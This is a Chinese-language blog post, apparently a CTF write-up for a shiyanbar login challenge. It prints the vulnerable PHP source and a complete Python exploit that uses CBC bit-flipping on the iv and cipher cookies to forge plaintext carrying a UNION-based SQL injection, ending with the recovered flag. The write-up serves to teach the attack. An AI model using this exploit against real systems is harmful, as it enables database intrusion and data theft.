Fork me on GitHub

实验吧-简单的登录题

前言

这是在实验吧上面的一道web题。主要考察cbc字节反转攻击。

分析

题目开始就是输入id去登录

1

首先想到的就是sql注入了,输入1'后页面显示Hello,重新载入的话页面返回报错信息

2

确实存在注入,看那后面的逗号,猜测注入点在limit后面。然后试了很多,发现题目把union,#,procedure等都过滤了,暂时没想到任何绕过的方法。然后抓包看看消息头看看有没有提示

3

提示存在test.php文件,访问后是php源码,接下来就是源码分析了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}

分析整个代码可以发现,通过post的id值由于被sqliCheck函数过滤了关键字无法在此处注入。另一处可注入的点在sql语句拼接的时候,在这里代码把解序列化后的数据直接拼接进sql语句中,如果可以控制此处的数据那么就可以造成注入。
那该如何控制这里的数据呢?可以发现,程序使用了aes-128-cbc的加密算法来加密和解密,而这种算法是存在字节反转攻击的,再配合程序在解序列化失败后返回解密后的明文,我们就可以控制密文来得到我们想要的任意明文,从而控制sql语句。对于cbc字节反转攻击的利用方法和原理网上有很多,抽时间自己也总结一下。下面是我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests,base64,urllib,math

def work():
url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'
payload = '0 union select 1,value,3 from you_want limit 1#'
#payload = 'x'*20

plaintext = 'a:1:{s:2:"id";s:%d:"%s";}'%(len(payload),payload)
badText = 'x'*16
if len(plaintext)%16:
if len(plaintext)%16>3:
badText = 'x'*(len(plaintext)%16-3)+'";}'
elif len(plaintext)%16 == 3:
badText = '";}'
elif len(plaintext)%16 == 1:
badText = '}'
else:
badText = ';}'
r = requests.post(url,data={'id':'x'*len(payload)})
sc = r.headers['Set-Cookie'].split(',')

iv = 'a'*16
cipher = sc[1][sc[1].find('=')+1:]
blockNum = len(cipher)/16
cipher = base64.b64decode(urllib.unquote(cipher))
blockNum = len(cipher)/16
cipherBlock = [iv]
cipherBlock += [cipher[16*i:16*(i+1)] for i in xrange(blockNum)]
plainBlock = [plaintext[16*i:16*(i+1)] for i in xrange(blockNum)]

for i in xrange(blockNum-1,-1,-1):
s1 = plainBlock[i]
s2 = cipherBlock[i]
tmp = ''

for j in xrange(len(s1)):
tmp += chr(ord(s1[j])^ord(badText[j])^ord(s2[j]))

cipherBlock[i]=tmp+s2[len(tmp):]
if i == 0:
iv = cipherBlock[0]

iv_new = urllib.quote(base64.b64encode(iv))
cipher_new = urllib.quote(base64.b64encode(''.join(cipherBlock[1:])))
headers={'Cookie':'iv={};cipher={}'.format(iv_new,cipher_new)}

r = requests.get(url,headers=headers)

if i != 0:
tmp = r.text[r.text.find('decode')+8:r.text.rfind("')")]
badText = base64.b64decode(tmp)[16*(i-1):16*i]
else:
print r.text.encode('gb18030')


work()

最后通过控制exp中的payload来注入sql语句,读取flag

1
2
3
4
C:\Users\gyh\Desktop>python 1.py
??????<h1><center>Hello!flag{c42b2b758a5a36228156d9d671c37f19}</center></h1>

C:\Users\gyh\Desktop>

总结

这道题主要考察cbc字节反转攻击,再结合本题在解序列化失败后返回解密的明文的特定的情况,可以控制整个明文字符串。但是当时没注意本题的这种特定情况导致我浪费了很多时间,看来细心很重要啊。

-------------本文结束感谢您的阅读-------------

本文标题:实验吧-简单的登录题

文章作者:r00tnb

发布时间:2018年02月09日 - 14:02

最后更新:2018年08月05日 - 15:08

原始链接:https://r00tnb.github.io/2018/02/09/实验吧-简单的登录题/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创,您的鼓励是我最大的动力!